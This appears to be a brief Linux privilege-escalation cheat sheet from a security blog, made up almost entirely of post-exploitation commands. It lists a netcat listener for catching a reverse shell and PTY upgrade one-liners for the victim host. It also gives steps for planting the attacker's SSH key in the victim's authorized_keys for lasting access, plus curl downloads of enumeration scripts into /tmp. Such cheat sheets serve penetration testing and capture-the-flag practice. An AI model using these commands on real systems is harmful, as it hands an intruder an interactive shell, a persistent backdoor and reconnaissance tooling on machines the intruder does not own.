[ Home ] [ Writeups ] [ Articles ] [ Cheatsheets ] [ CVE ] [ EOF ]


.:: [LINUX] Privileges Escalation ::.
Title : [LINUX] Privileges Escalation
Author : Cabir  
Date : Sunday, Mar 21, 2021
Modified : Sunday, Mar 21, 2021
Reading time: 0 minutes and 22 seconds.

-=[Privileges escalation]=-

Improve Your Shell

[ATTACKER SIDE] Get an interactive reverse shell

rlwrap nc -nlvp 4242

[VICTIM SIDE] Get a real prompt

python -c 'import pty; pty.spawn("/bin/bash")'

/usr/bin/script -qc /bin/bash /dev/null

Get a real SSH Shell

[ATTACKER SIDE] ssh-keygen
[VICTIM SIDE]   Copy your public key in id_rsa.pub in authorized_keys like : echo [YOUR_KEY] >> ~/.ssh/authorized_keys
[ATTACKER SIDE] ssh -i id_rsa [RUSER]@[RHOST] 

Usefull Automated Scripts

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh > /tmp/linpeas.sh
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh > /tmp/LinEnum.sh

List open port on the network + PID process

netstat -natp

[ Home ] [ Writeups ] [ Articles ] [ Cheatsheets ] [ CVE ] [ EOF ]